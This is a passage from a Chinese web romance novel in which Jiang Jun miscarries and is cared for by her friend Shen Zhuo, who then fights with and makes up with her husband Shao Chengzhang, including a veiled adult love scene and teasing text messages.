附近有医院，救护车在十分钟后匆匆赶来，急救人员将姜珺抬上担架，沈灼陪着一起上了车。 姜珺已经没有什么意识了，医生向沈灼简单询问病史和症状。 “医生，我闺蜜到底怎么了。”沈灼语气染上一丝哭腔，她握着姜珺的手，只感觉冰凉。 “腹痛剧烈，大量**出血，初步怀疑是早期妊娠流产。”医生说道。 另一名医生先给她输液，然后测量血压和心率：“病人血压偏低，心率快，有失血性休克倾向，送急诊妇科。” “你说什么……”沈灼整个人怔住了。 姜珺她，怀孕了？！ 这怎么可能呢…… 沈灼还没来得及多想，救护车就已经开进医院，停在急诊门口，姜珺直接被推进了急诊室。 “沈灼……”姜珺睁开眼睛，有了一点意识，“好疼…” “我在呢姜珺，我们在医院了，再坚持一会儿就不疼了。”沈灼努力稳住她颤抖的声音。 吸氧、抽血、做彩超…… 医生告诉沈灼，姜珺已经怀孕两个月了，因为胚胎发育不良，已经胎停了。 “是选择药物引产还是刮宫？”医生问她。 沈灼没有太多这方面的经验，她怔怔地问：“医生，刮宫是不是会很痛？ “患者是自然流产，也可以先吃药等自身排出去，如果残留过多没排干净可以再选择清宫。” 沈灼点点头，说先用药吧。 姜珺直接安排住院观察，等她醒来的时候她给邵成章打了个电话，说姜珺身体不舒服住院了，今晚不回去了。 邵成章问：“吃晚饭了吗？要不要我去给你送点？” 沈灼说：“不用，医院附近有餐厅，我一会儿还得回中湖给她拿些换洗的衣服，你别过来了，不用担心我。” 挂了电话回到病房，姜珺刚好悠悠转醒。 “感觉怎么样？”沈灼走到床边，“还疼吗？” “还有一点。”姜珺疼得皱着眉，她看了看四周，分明是在病房里，疑惑地问，“灼子，我这是怎么了？” 沈灼抿着嘴唇，不知道该怎么开口。从姜珺的反应来看，她压根不知道自己怀孕的事。 见沈灼不说话，姜珺有点慌了：“靠，你别吓我啊……我得绝症了啊？” “呸呸呸！”沈灼瞪她，“乱说什么呢，你好着呢！就是……” “就是什么啊，天哪，你要急死我！”姜珺稍微用力，小腹就痛的厉害，她疼的“嘶”了一声，吓得沈灼连忙让她躺好不要乱动。 “医生说你怀孕了。” 姜珺闻言愣住：“你说什么？我怀孕了？怎么可能呢？” “已经两个月了，但是因为胎儿发育不良，胎停了。”沈灼说，“所以出血不是生理期，是自然流产了。” “我……我都不知道……”姜珺喃喃，“怎么会……”她怔怔望着天花板，眼神里满是空洞与茫然。 沈灼不知道她说的是怎么会怀孕还是怎么会流产，她安慰她：“别想了，现在你需要把孕囊排出来，有没有什么想吃的，吃完饭要吃药呢。” 姜珺愣愣地手抚上小腹，这里原来有一个孩子吗？ 那是……她和梁屿琛的孩子。 可是他们明明每次保护措施都做得很好，怎么会有孩子呢。 这个消息让她整个人都发懵，她的大脑已经没有情绪了。 沈灼叹声气：“算了，我下去看着买点吧，你先好好躺着，要是不舒服，就摁 铃找护士来。” 姜珺僵硬地点点头。 姜珺也吃不了太油的东西，沈灼下楼就近去了一家连锁快餐，买了小笼包和馄饨还有粥，又去了便利店买了几大包夜安裤和卫生巾。 沈灼盯着姜珺吃完饭又吃药，安顿好她，她又打车去中湖给姜珺拿了两套睡衣和日常用品，顺便在医院楼下的超市直接买了个折叠床。 姜珺疼得睡不着，沈灼就坐在床边一直陪着她。 “灼子，你回去睡吧。”姜珺心里又愧疚又难受，“我没事了，明天再来吧。” 沈灼瞪她一眼：“你别给我没事没事儿的，我床都买来了，现在闭上眼准备睡觉。” 姜珺撇着嘴角，终于软下来和她撒娇：“睡不着灼子，我疼……” 沈灼看姜珺的可怜样儿，忍不住骂起来：“真操了，哪个男的？叫他过来？他自己爽完让你在这受罪？！” 姜珺摇摇头，眼泪就顺着太阳穴留下来，滑入鬓角，声音都带着哭腔：“我们每次都有做措施，但我也不知道为什么会怀孕……” 沈灼深吸一口气，压下脾气来。 姜珺的手机放在床头的小桌上，突然振动起来，沈灼将手机递过去，看到了来电显示——梁屿琛。 沈灼略一挑眉，姜珺和梁老板有联系？ 姜珺接过手机，看到页面直接摁掉了。结果梁屿琛又打过来，还是被姜珺摁掉。再打，再摁。 “你和梁老板认识？”沈灼问。 “就是上次咱们一起去‘渡’认识的。”姜珺说。 短暂的振动声，应该是消息进来，姜珺先握着手机在屏幕上点了几下，然后锁了屏扣在枕头旁边。 “你们很熟吗？” “也没有。” “那他这么晚打给你干什么？” “找我可能是喊我去喝酒吧。”姜珺移开和她对视的视线，“灼子，我想喝水了。” 沈灼没让她动，把病床摇起来，然后递给姜珺一杯晾好的热水。 她不知道怎么了，总感觉梁老板这个电话打的时机好像很特意一样，叫人喝酒会打这么多电话吗？ 她忍不住问：“孩子的爸爸是你上次提到过的那个……炮友的吗？” “灼子，已经没有孩子了。”姜珺垂下眼睛，心里泛上一点酸涩。 沈灼顿了顿，又问：“那是他吗？” 姜珺点点头。 沈灼感觉自己好像有点头绪。她忽然想起上次姜珺妈妈住院，在电梯口遇到的那个长发男人的身影……那个人，是梁老板？ 姜珺说心情不好，陪她去海边的男人……沈灼记得和姜珺视频的时候，在她身后站着一个健壮颀长的男人，也是梁老板？ 沈灼突然盯着她：“你说的炮/友，就是梁屿琛对不对？” 第75章 姜珺没说话，闭上眼睛，眼角一滴眼泪侧着流下来，已经代替了回答。 沈灼心疼地替她擦掉眼泪：“所以……你喜欢上他了？” 姜珺没直接回答，她说：“我以为我能控制好这段感情的。” “那他对你呢？”沈灼皱着眉头，语气已经压不住火气。 姜珺轻轻地摇头。 “靠！这个梁屿琛真的是……”沈灼暴躁地低骂一声，她不知道该说什么，但是此刻她真的很想骂人。 “灼子，你千万不要去找他，我们一开始就说好的，不谈感情。”姜珺鼻音浓重，“是我不该动心，是我活该。” 沈灼站起身，胸腔里憋着一股气，双手掐着腰在床边来回踱步。 其实她和姜珺第一次去“渡”，见到梁屿琛，她就知道他绝对是姜珺会喜欢的类型，但是那时候姜珺斩钉截铁地和她说不接触，她就真的信了。 谁知道两个人还是…… “刚刚那条消息也是梁屿琛发的吧？”沈灼冷静下来后问。 姜珺点头：“嗯……” “他找你干什么？” “他问我身体怎么了。” “他怎么知道的？”沈灼眯起眼睛想了几秒，“服了，肯定是邵成章告诉他的。”姜珺住院这事儿沈灼只告诉他了。 这个邵成章……沈妤此刻特别想冲到他面前骂他几句。 她问：“你告诉他了吗？” “没有，我说我肠胃炎。”姜珺说。 “你真是……”沈灼又气又心疼，堵得半天说不出话来，最后又是叹了一口气。 “对不起，灼子。”姜珺抬眼看着她，“我之前没告诉你，就是因为怕你和邵成章夹在我们中间很为难，而且我们都没想发展成长期关系，想着就算结束了，你们不知道，大家以后见面也不会尴尬。” “但我高估我自己了，我以为我可以游刃有余。”说完她又自嘲一笑，“明明知道他是什么样的人，我竟然还是会喜欢上他。可能人就是贱吧，总是去迷恋自己得不到的。” 沈灼义愤填膺：“不是，这个梁屿琛凭什么啊？” 凭什么他爽完了，让姜珺躺在这里受罪？凭什么他既不想负责，又还要打扰她的生活？凭什么他不喜欢她？ 沈灼越想越气，声音里透着愤怒和心疼：“他不值得。” “嗯，我知道。”姜珺轻着声音说，“但有时候，人动了心，就好像脑子坏掉了一样。就算理智上告诉自己不可以，但是控制不住想他，想去找他。” “但是现在，都结束了。”姜珺闭上眼睛，长长地吸了一口气，嗓音发哑，带着控制不住的哭腔，“一切都结束了。” * 姜珺迷迷糊糊地睡着了，凌晨又因为腹痛被疼醒。止痛药不能频繁地吃，沈灼只能给她贴上暖宝宝缓解。 医生来查房，告知姜珺她本身子宫后位，很难排干净，沈灼一边听着，不禁握紧了她的手。姜珺对医生说还想再排一排，医生给她安排了宫缩针促进排血。 期间邵成章问沈灼姜珺的情况怎么样，需不需要找人看护。沈灼对梁屿琛的气还迁怒到他身上，回复的消息也十分简短，只说了句不需要。 两天后的B超结果并不理想，姜珺只好选择清宫手术。 沈灼在手术室外等着，听到姜珺打麻醉时撕心裂肺的大叫，心都揪紧了。她看了很多相关帖子，知道手术该有多痛。 手术进行得很快，姜珺被推出来还没有清醒。回到病房，医生告诉沈灼不要让姜珺睡着，还另外嘱托了一些注意事项。 沈灼坐在床边，一直喊姜珺的名字，捏她的手心，断断续续地听着她小声嘟囔着回应自己。看着姜珺憔悴又疲惫的脸，沈灼恨不得在梁屿琛身上捅上几刀。 过了规定时间，沈灼让她安静地睡了一觉。麻醉让姜珺昏沉了一天，直到第二天才清醒，上午抽完血 医生告知她可以办理出院。 姜珺整个人的情绪都很低沉，一动不动地坐在床上，目光落在地板某个点，眼神空荡荡的。沈灼帮她收拾东西，突然听到她的抽泣声。 “我都还没有来得及知道ta的存在，ta就这么走掉了。”姜珺抚上小腹，她低着头，眼泪就这么慢慢地滑下来，一滴一滴落在她的手背上，“灼子，是不是因为我特别坏，所以ta才不要让我当ta的妈妈。”话音落下，她再也绷不住了，整个人像是突然被击溃一样，捂着脸失声痛哭起来，肩膀一颤一颤地抖，哭得撕心裂肺。 沈灼心里一紧，走过去把她抱住拥在自己的怀里，一只手护着她的后脑勺，轻轻拍着她的背，眼眶瞬间红了。 “ta一定是很努力、很努力才在我身体里留下来，可是…可是ta还是不要我了……” “不是这样的，姜珺，不要这样想。” 姜珺的眼泪湿透了沈灼的T恤，她一句话都听不进去，只是一遍一遍念着：“如果我知道……我肯定会保护好ta的……” “我知道。”沈灼轻轻地抱紧她，“我知道你会的。”她低头看着姜珺，心疼得一阵阵发闷。 出院后，沈灼先将姜珺送回家，叮嘱她要按时吃饭吃药。姜珺已经平复下来，催着她赶紧先回家休息，沈灼因为她耽误了很多事情了。 沈灼回到家时，只有陈姨一人在。陈姨知道她这几天都在医院照顾朋友，看她一副精疲力竭的模样，赶紧劝她先休息，她给她炖个补汤。 知道沈灼回了悦澜湾，邵成章比往常提早回了家。推开卧室门，窗帘被拉得严严实实，屋里黑漆漆的。他没有开主灯，只开了自己一侧床头灯的最弱亮度，勉强照亮床上熟睡中的人。床上的沈灼蜷着身睡着，睡容平静却透着疲惫。 他轻手轻脚地上床，仅仅看着她的侧脸，都感觉她瘦了。看了一会儿，他又情不自禁低头吻上去。 好想她。 原先也只是在她的脸颊一点点啄吻，后来沈灼翻了个身正面躺着，他又忍不住贴贴她的软唇。 沈灼被吻醒，睡眼朦胧地看着眼前这张英俊的脸。若是以前，她一定会捧着他的脸再次亲上去，可是现在她只觉他烦。 她生梁屿琛的气，可是她几乎算不上认识他，情绪只好转移到邵成章身上。再说，邵成章在这件事上，也不是一点责任都没有。 她直接推开邵成章，不满地说：“你走开。” 没有想象中的亲热，邵成章听出她不高兴的情绪，明显一愣，“怎么了？” 沈灼闭上眼睛又翻身背对着他：“现在不想看见你。” “为什么？”邵成章微皱起眉，“你都不想我吗？” “不想，我现在很生气。” 邵成章被这突如其来的情绪弄得措手不及，他掰过她的肩膀，低头盯着她的脸：“你生我什么气？我做错什么了？” 沈灼一下子坐起来，瞪着他：“还不都是因为你，当初我和姜珺去‘渡’的时候你为什么不先送她回家，反而让梁屿琛送她回家，要不是你，他们俩也不会——” 话说到这，戛然而止。 邵成章何其聪明，瞬间就知道沈灼说的意思，“所以梁屿琛和姜珺在一起了？” 沈灼没正面回答，她翻个白眼，“没有！” 作为梁屿琛多年的好友，他当然知道他是什么人，怪不得他去“渡”找梁屿琛拿酒的时候，听到姜珺身体不舒服多问了几句。 “但是这件事并不能怪我啊，我并不知道他们会发展成这个样子。” “你明明知道梁屿琛是个什么样的人了，你还让他送姜珺回家！”如果没有一开始的接触，或许姜珺根本就不会陷入进去。 沈灼情绪很激动，“你知不知道姜珺她怀——算了。”最后的一丝理智制止着她没有说出来。 姜珺并不希望梁屿琛知道，那她就替她保守好这个秘密。 “老婆，你不能因为结果就反过来要求我当初未卜先知。”邵成章也急了，“姜珺是成年人了，有判断能力。你不能把所有的后果都推到我头上，而且那个晚上我们都清楚他们什么都没做，就算发展成现在的关系也是在后来。如果他们注定会相遇，有没有那一晚都不重要。” “你不要给我说什么命中注定，命中注定的孽缘吗？”沈灼无语地撇他一眼，“我不管，反正你有责任！而且姜珺住院的事儿你为什么还要告诉梁屿琛啊？”沈灼气到语无伦次，“总之，我现在非常生气，也不想看见你。” 邵成章抿着唇默了几秒，最终只说了一句：“那你先休息吧，陈姨炖好了汤温着，你起来后记得喝。”他翻身下床，随手关了床头灯。 房间立即陷入黑暗之中，沈灼听着窸窣的声音，随后门口的方向闪出一丝光亮又消失，邵成章走出了卧室，房间又变得安静。 沈灼烦躁地捶了一下床，抱着被子又躺下去，可翻来覆去的怎么都睡不着了。 她索性起身去厨房找点东西吃。路过客厅时，余光瞥见邵成章正盘腿坐在生态箱前，手里拿着镊子在给阿瑞斯喂食。沈灼下意识放慢了脚步，视线偷偷扫了他几眼。 见邵成章垂头单手撑在地板上，怏怏不乐的样子，沈灼心突然就软下来了。 察觉到他突然侧头看了过来，沈灼立刻收回目光，装作若无其事地走进厨房。她打开电饭煲，盛了一碗热腾腾的鸡汤出来，她特意坐在靠外的岛台上，头微微一撇，发现邵成章已经没有在看她了。 哎，自己刚刚说的是不是太过了点？沈灼在心里想着。其实自己心里就是有股火没地儿撒，和他吵吵两句她就好了。 “要不要喝鸡汤？”她犹豫片刻，忽然转头冲客厅喊了一声。 “我不喝。” 沈灼滑下高脚椅，端着鸡汤走到沙发，坐下，又问了一遍：“真不要？陈姨炖的很好喝。” “不喝，”邵成章低头伸手逗弄阿瑞斯，“我怕某人看见我又生气。” 沈灼“啧”了一声，说：“谁看见你会生气啊？” “我怎么知道，反正有人亲口这么说的。” 沈灼抿着嘴角笑了下，说：“那你理解错了。我说的是因为生气才不想看见你，不是看见你我就生气。逻辑理解错了，知道吗？” 见邵成章不说话，沈灼咳了一声，勉强维持面子：“别闹了，喝一口吧。”她起身蹲在他旁边，把汤碗递过去，补了一句，“给你盛的。” 邵成章头撇过去，不理她。 “邵成章，转过来看着我。” 见他还是不动，她挑眉：“我说话你不听了是吗？不听以后就别听我说话了，咱俩就这么着吧。” “你是不是就只会欺负我？”邵成章转过头来看着她，眼圈已经泛了红，“你这几天在医院电话不接，消息不回，也不让我去看你。好不容易等到你回来了，你还说你不想看见我……” 沈灼典型的吃软不吃硬，听他这么委屈巴巴地控诉她的行为，她觉得自己刚刚真是过分了，于是和他道歉：“没想欺负你，我刚刚不是情绪一下子上头了没控制住吗，我错了行不行？” “在你心里，什么都比我重要。你的工作室比我重要，你的艺人比我重要，你的闺蜜比我重要，每次发生什么事，都是通知我一声，然后几天见不到人。” 沈灼点点头：“是是是，我错了。” “梁屿琛知道姜珺住院是因为他说他收了两瓶wildpony，我去他那里拿，他问起来的。”邵成章解释道。 “好的，我错了。”沈灼说。 邵成章盯着她：“你道歉一点都没有诚意。” “我怎么没有诚意啦？我还给你盛的鸡汤。” “那你亲亲我。” 沈灼抿着唇笑：“得寸进尺是吧？” 邵成章嘴巴一撇，还想再说什么，却被沈灼猝不及防地亲一口在脸颊上。 第76章 邵成章顺势箍住沈灼的腰，不让她离开。他直接低头咬在沈灼的下唇，牙齿微微用力，左右磨着。 “疼……”沈灼哼出一句。 邵成章松开牙齿，盯着她道：“你疼，我也会疼。” 他说得很认真，沈灼抿着唇，抱歉地看着他：“对不起啊宝宝，我也不是真的想要对你说那些话，我那会儿真的太生气了。” 邵成章只是垂眼盯着她，也不回应 。 沈灼忽然捂上邵成章的耳朵，“不听不听，不听那些不好的话。” 邵成章终于开口：“那有什么好话是我能听的？” 沈灼想了想说：“工作重要，艺人重要，闺蜜重要，但现在你最重要。” “就只是现在是吗？”邵成章敏锐地抓住她话里的漏洞。 “你不要咬文嚼字，具体情况总要具体分析啊。”沈灼撇嘴。 “你就不能哄哄我吗？”邵成章说，“就算说句假话也这么难吗？”他拍拍沈灼的腰，“起来吧，我还有工作。” 邵成章提前赶了回来，还有很多文件没有审批。沈灼抬头，望着他的背影走进了书房。 阿瑞斯趴在造景木上，歪头看着玻璃之外的女主人，不知道她为什么长长的叹了一口气。 沈灼也不知道自己为什么总是能轻而易举的对邵成章说出很伤人的话。 回到房间，沈灼收到了航班提醒。明天一早，关司予和蒋芮进组，沈灼是要陪同的，她犹豫了几秒，将航班改签延后了几天。 小芸跟过多次剧组了，相对有经验，沈灼和她说多带带两个新来的助理小朋友，她会在开机前一天赶过去。 时间一分一秒地过去，已经十一点了，邵成章都还没有进来洗漱，沈灼几乎没有犹豫，直接去书房找他。 “还有多久结束。”沈灼站在书房门口，“叩叩”敲了两声。 邵成章抬起头来，用听不出情绪的语气对她说：“不确定，你先去睡觉吧。” “不要。”沈灼走到里面，坐在单人沙发上看着他，“我等你工作结束，我们谈谈。” 邵成章说：“别闹，明天早上你还要出差。”他十分清楚她工作上的行程。 沈灼心里动容，终于没再傲娇嘴硬，而是和他说：“飞机我改签了，什么时候你不生气了我再工作，今晚我有的是时间等着你。” 邵成章有一瞬间的惊讶，他没想到她会为了他改签。他想装也装不下去了，他根本没办法忍受的了沈灼盯着他看。 “好吧，我们谈谈。”邵成章扣上笔记本，转向沈灼，“你想谈什么？” 沈灼咬着下嘴唇，想了想说：“刚刚的那几个小时我进行了深刻的反思，我不该让你成为我的情绪出口。” 邵成章静静听她说着。 “姜珺和梁屿琛的事，我知道不是你的问题，可是我却因为对梁屿琛生气，将情绪迁怒投射到你身上。其实在我的潜意识里，我认为你是我最亲密的人，就算我对你发脾气，你也不会离开我，所以才会这样肆无忌惮……人总是把最恶毒的话留给最亲的人。但其实不对的，这样只会消耗我们之间的感情。” “是我情绪不够稳定。”沈灼低下头去，“我会改的，你不要生气了好不好？” 半天没等来邵成章的回应，沈灼又抬头去看他，却见他正笑盈盈地望着自己，沈灼微一皱眉：“你笑什么啊，我在很认真地和你分析道歉呢。” 邵成章起身朝她走过来，蹲在她面前仰头看着她，“因为我很高兴，你竟然为了我把工作推后了。” “……”沈灼有点无语，“这重要吗，我在——” “重要。” 好吧……沈灼真是有点搞不懂他的脑回路，“我和你道歉了，你还生气吗？” 邵成章握着她的手，举起到嘴边，亲在她的手背上，“其实我没有生气，只是听你说不想见到我有点难过。” “那是气话，我没有不想见到你，只是有时候我情绪一上头就不管不顾了。” “不过你也说了，因为你相信我才会对我发脾气，所以我也高兴。” 沈灼瞬间特别嫌弃地看着他，“你是有什么受虐倾向啊……” “才没有，只有你可以这样对我。” 沈灼捧着他的脸道：“我以后会改的，吵架伤感情，我们以后争取不吵架好不好？” 邵成章没回应，却说：“你知道吗，我以前看到过一个调查，一对夫妻平均两天就要吵一次架，一年大概要吵189次，如果按照50年来算，差不多要吵9400次。我们都还没到平均值。” “邵成章，你是不是有什么毛病，你这么希望我们吵架吗？” “不是，只是有时候不希望你压抑着自己的情绪生闷气，我可以当你的情绪垃圾桶，但是有几句话不可以再说了。” “嗯，你说。” “第一，不能让我去找别人。” 沈灼点头。 “第二，不能说不想看见我，如果你想一个人待一会儿可以直接告诉我。” 沈灼说“好”。 “第三，不准说不爱我。” 邵成章提的前两条，都是沈灼之前和他吵架说过的，是她的问题，但这最后一条她可不认。 “你别冤枉我，我从来没说过不爱你。” “万一你哪天生气说了呢。” “如果我说了，只会是因为你犯了原则性问题。” “不可能。”邵成章斩钉截铁地说。 “那如果真的有一天我不爱你了呢？”沈灼哄好了人，又想逗他。 “你会吗？”邵成章抬眼望着她。 “这可难讲哦。”她托着邵成章的下巴，笑了下。 “沈——唔”邵成章刚想说什么，被她捂住了嘴巴。 “怎么对自己这么没自信啊，要是想找一个比你帅比你有钱比你身材好比你还能包容、尊重、理解、支持、爱我的人，那简直不可能了。因为你对我来说，就是独一无二的。” 邵成章听到后面，眼睛笑得都眯起来。 “还想说什么？”沈灼松开手。 邵成章露着一排白牙，冲她摇头。 “今晚还工作吗，已经很晚了。”沈灼抬起一只手，又去捏他的耳垂。 “不了，我想和你睡觉。”邵成章特意加重最后两个字。 沈灼笑出声来，她收起腿，“蹭”地在单人沙发上站起来，朝着邵成章张开手，“你背我吧。” 邵成章听话地站起来，转身背朝着她，沈灼长臂一伸跳到他背上。邵成章刚准备迈步，沈灼紧勒着他的脖子身子往前挪，硬是从身后背着换到了他身前抱着，然后掂了掂怕她掉下去。 四目相对，沈灼忍不住先笑了。 “怎么了？” 沈灼笑着摇头，“喜欢你不行吗？” 邵成章听了，嘴角也翘起来，大步朝卧室走去。 “灯灯！关灯！”沈灼拍拍他的肩膀，示意他书房客厅和岛台的灯都还没关，邵成章又抱着她去关灯。 关掉岛台的灯的时候，沈灼瞥到台子上的电饭煲，顺口说：“今晚陈姨煲的鸡汤你都没喝，可滋补了。” 邵成章停下看她：“我需要补吗？” 沈灼笑着搂住他脖子，头枕在他的肩膀上，“我怎么知道啊。” 邵成章一手拍在她的臀上，“那你一会儿判断判断。” 邵成章少有的迫不及待，还好沈灼也不需要太多准备。 只是接吻，她就已经可以达到几乎准备好的状态了。 明明他之前也没别人，可沈灼觉得他就是很会接吻，总是带着侵略性的舌头在她的口腔里来回扫荡。 一只大手扣住她的脑袋，另一只手在她的后背和腰间抚/摸点火。 再慢慢地进行下去，邵成章反倒不着急了，此刻倒像是有足 够的耐心。 沈灼受不了他，断断续续哼出一句破碎的话。 邵成章一挑眉，随即笑了下说“好”。 他搂住沈灼的背，一个用力翻身，让人趴在了他身上。 沈灼垂眼看着他，慢慢倾下身子，亲吻在他心脏的位置。 邵成章抬手揉了揉她的头发，那些不愉快的瞬间烟消云散。 沈灼并不是很熟练这个姿/势，只一会儿她就累得不行，她撇嘴看着邵成章，意思很明显。 “主人是不是忘了，小狗今晚还没有吃饭？”邵成章眯着眼睛看她，支起小腿，让她的后背靠在自己的腿上。 即便已经有过无数次，可沈灼反应过来他说的什么，还是会忍不住脸红。 她蹭掉睡裙，接着一声很细微的“咔哒”声淹没在两个人的急促喘声里。 没有了最后一层束缚，邵成章看清了他的晚餐。 他的眼睛忽然睁大了，呼吸瞬间加重。 沈灼立即俯下身，捂住了他的眼睛，“不让你看。” “可是我想看着你。”邵成章央求道。 “不可以，我手拿开也不可以睁开眼睛哦。” “好吧……”邵成章听话地闭着眼睛。 没了他的注视，沈灼变得肆无忌惮起来。她俯下身，亲在他凸起的喉结上。 感受到一片温热，邵成章忍不住吞咽口水。 沈灼笑了下，张开嘴巴，牙齿轻贴在上面，舌头还能感受到里面血管微微的搏动。 “老婆……”他睁开眼睛，眼神幽深。 沈灼抬起头离开他，上面已经沾了一片水光。她坏笑道：“嘘——不准说话，咬坏了怎么办？” 邵成章闭上嘴巴，喉结上下滚动。 沈灼再次俯下身，一点一点地啄吻。 邵成章的呼吸不自觉加重急促，脸色染上了红，他忍不住咬住了下唇。 沈灼手指抚上他的嘴巴，“不准咬嘴唇。” 邵成章又收回牙齿，深呼吸一口，沈灼感觉自己都在跟着他起伏。 “怎么这么乖啊，要不要奖励？” “要……”邵成章几乎是闷哼出声。 沈灼手一撑，往前坐了坐。她俯身突然抓起他的头发迫使他仰头，嘴巴不禁微张开来。 沈灼倾下身子，送上去。 “吃吧，好狗狗。” 第77章 沈灼的机票往后挪了三天，期间她对邵成章的要求几乎是有求必应。邵成章发现自从带沈灼去徒步之后，她的体力都变好了很多，连着两天都在她的极限边缘才结束。 邵成章吃完早餐沈灼都还没醒，在出门之前他进来亲亲沈灼，告诉她他要去上班了。 沈灼迷迷瞪瞪地回应他，手下意识地就缠上他的脖子。 “又招我。”邵成章低着声音说。 沈灼半眯着眼睛，哼唧一声。 邵成章手撑在她耳侧，往她脖子上吹气，“这么不想让我走啊，那我今天居家办公了好不好？” 沈灼瞬间睁开眼，手也收了回来，推着他手臂，“不要自作多情，你快去上班吧。” 邵成章“啧”了一声，低头埋在她颈窝，深深吸了一口气，“真够坏的。” 头发蹭得她发痒，沈灼缩着脖子笑说，“嗯，我就是个坏女人。”她催着他赶紧上班，结果他还和她索吻。 “刚刚不都亲过了？” “那是我亲你，现在换你亲我。” 沈灼手背挡住嘴巴：“不要，我没刷牙。” “都是你的味道，我又不嫌弃。”邵成章去牵她的手，她就换另一只手挡住。 邵成章撅着嘴巴，有点失落。 沈灼真的很喜欢这样逗他，看他带点委屈的小表情，让人感觉特别好欺负。 “那我走了。” 沈灼点点头，“嗯”了声。 邵成章放开沈灼的手，准备起身，又被她拉住。 “老公，亲亲。” 邵成章嘟着的嘴一下子就咧开了，乖乖地把脸凑上去。沈灼一抬下巴就能碰到他的嘴唇。蜻蜓点水的轻碰还不行，邵成章压着她用力地亲她。 “唔——你再不走就迟到了！”沈灼头微微一歪，躲着他的吻。 “谁敢说老板迟到？” “……”还真是…… 邵成章走之后，沈灼又赖了一会儿床才起来吃早餐。这几天她其实也不是很忙，关司予和蒋芮进组主要是定妆和剧本围读，她这两天在家就当是休息了。 吃完早餐，沈灼想了想去了中湖，她想去看看姜珺。 没想到姜珺在家里大扫除。不，准确的说，她是在收拾自己的东西。 沈灼一进门就被两个大纸箱子挡住了，还没等出声喊人，就见姜珺满头大汗，呼哧带喘地推着一个纸箱子从卧室里出来。 “姜珺，你在干什么！医生都说了让你好好休息。”沈灼皱着眉，赶紧脱了鞋进屋。 “你怎么来了？我把家里收拾一下，不要的东西都扔了，这些都是要回收的旧衣服，不重。”姜珺站起身说道。 “我当然是过来看看你啊。”沈灼瞪她一眼，“有哪些要搬的你告诉我我来。”说着她去客厅给姜珺倒水。 姜珺嘲笑她：“你那手劲儿和我比啊。” 确实比不了，姜珺每周都会去健身房撸铁，而沈灼推胸器不加重量她都推不动。 “身体怎么样了，肚子还疼不疼？”沈灼将水杯递给她。 “没事儿了。” “干嘛突然收拾东西啊？” 姜珺一口气喝了半杯水，她走到茶几，往蒲团垫子上盘腿一坐，对着沈灼双手合十道：“我过两天要去庙里住一个月。” “啊？”沈灼惊讶地看着她，“住多久啊，马上中秋了你不陪陪阿姨啊？” “不了，我这两天去她那住。我是前两天晚上刷到一个寺庙的义工帖子就联系了对方，反正也没事，想去那儿清净清净。”姜珺手抚上小腹，“还可以念念经超度一下宝宝，希望宝宝下一次能找到爱ta的妈妈爸爸吧。” 沈灼坐过去，哪怕姜珺面上一副没事人的样子，但她知道，她心里肯定还是难过。 “对了，这件事你没告诉邵成章吧？我怕他又和梁——” “当然没有了！”沈灼嗔她一眼，“什么该说，什么不该说我还是知道的。” 姜珺笑着点点头。 “那你和梁屿琛……” “结束啦。”姜珺耸耸肩，嘴角一提，“过了今天，我姜珺的人生里再也不会有梁屿琛这个人了。” 喜欢上一个人怎么可能两天时间说不喜欢就不喜欢，沈灼知道姜珺在故作洒脱，安慰她：“难过也没关系，可以和我说。” 沉默了好一会儿，姜珺才开口，“说不难过是假的，可是难过有什么用，要干的事情那么多，我的时间不能浪费在想男人上面，哪怕我喜欢他。” “我以前一直觉得我可以和男的一样，性是性，爱是爱，分得很开互不掺杂，谁能想到这次栽了，还真碰上个心动男嘉宾啊。”姜珺又叹一口气，“说不定是我上辈子欠他的，这辈子来还债了。现在还完了就过去了，我就不再想了。” 沈灼不知道该说什么，虽然姜珺还放不下，但是能这么想，她就已经很钦佩了，“吾辈楷模！” 姜珺扑哧一声笑出来，“那下午你送一下楷模回西环那边，我过去收拾一下东西，梁屿琛还有东西在那儿，我要都给他扔出去。” 沈灼点头，又问：“你摩托车呢？” “卖了。” “卖了？为什么啊？” “就是突然不想开了。”姜珺耸肩说道。 两个人又坐着聊起来，两个人点了个外卖吃，下午又收拾了一会儿后，沈灼开车送姜珺回她自己的家。 从西环开回悦澜湾正好路过Dreamora总部，沈灼看了眼时间，到他公司楼下差不多也就是他这两天回家的时间了，她拿起手机给邵成章发了一条消息。 “亲爱的邵先生，您好！检测到您今日表现十分优秀，系统为您解锁【女友接送服务】，送您一份【超甜副驾驶座】体验一份。如有需要请立即回复需要，退订请回复TD。” 沈灼笑着点击发送，然而过了十分钟邵成章都还没有回复，沈灼又发送了一条消息：“【退订成功】由于您长时间未进行回复，系统将自动为您退订，祝您生活愉快。” 五分钟后，沈灼的手机接连不断地振动。 邵成章：“续订续订续订续订续订… …” 邵成章：“老婆，我刚刚开完会。” 邵成章：“老婆，我需要你，你来接我下班吧。可怜汪汪.jpg” 邵成章：“你不来接我，我生活就不愉快了。” 碰上红灯，沈灼拿下手机，从导航切回微信，看见邵成章发的消息忍不住笑出声。 沈灼：“检测到您有其他需求，回复1为您转接人工客服。” 邵成章：“1111111。” 沈灼：“您好，请问有什么可以帮到您的？” 邵成章：“我要女友接送服务，超甜副驾驶座体验。” 沈灼：“抱歉，本服务限时供应，用户可选择充值进行订阅服务。” 邵成章：“充值。” 沈灼：“充值套餐如下：包月1314元，包年5200元，请问选择哪款套餐呢？” 邵成章直接转账52000。 邵成章：“订阅十年。” 沈灼：“感谢您的订阅，祝您订阅愉快～开启服务请回复：小狗什么都听主人的。” 沈灼将转账直接收下了。 邵成章：“小狗什么都听主人的。” 邵成章：“请问我的老婆什么时候到？” 沈灼：“女朋友到用户楼下的速度取决于用户想女朋友的程度。” 邵成章：“很想很想很想，想马上见到你。” 沈灼：“抱歉，由于路况拥堵，女朋友最快二十分钟后到达用户楼下。” 邵成章：“用户选择使劲想女朋友加速，但请女朋友一定要注意安全。” 车流已经开始移动，沈灼笑了一下而后将手机放在支架上，慢慢启动车子。 邵成章是掐着时间下楼的，沈灼刚到他公司楼下，就看见他大步朝着她走过来了。邵成章直接打开车门坐进副驾。 见到沈灼，邵成章笑得眼睛弯起来，“老婆，你怎么有空过来？” 沈灼打着方向盘，往出口方向拐，“我下午送姜珺，回来正好路过你这啊。” 邵成章问：“她还好吗？” 沈灼：“嗯，没什么事了。” 邵成章点点头，一直盯着沈灼。感受到他的视线，等待前面车子抬杆时，她转头问：“你老盯着我干什么？” 邵成章问：“不是有超甜体验吗，我的超甜呢？” 沈灼都忘了这回事儿，反问他：“有这个吗？” 邵成章说：“是啊，要不然我呼叫人工客服。” 沈灼笑了下：“人工客服下班了，亲亲。” 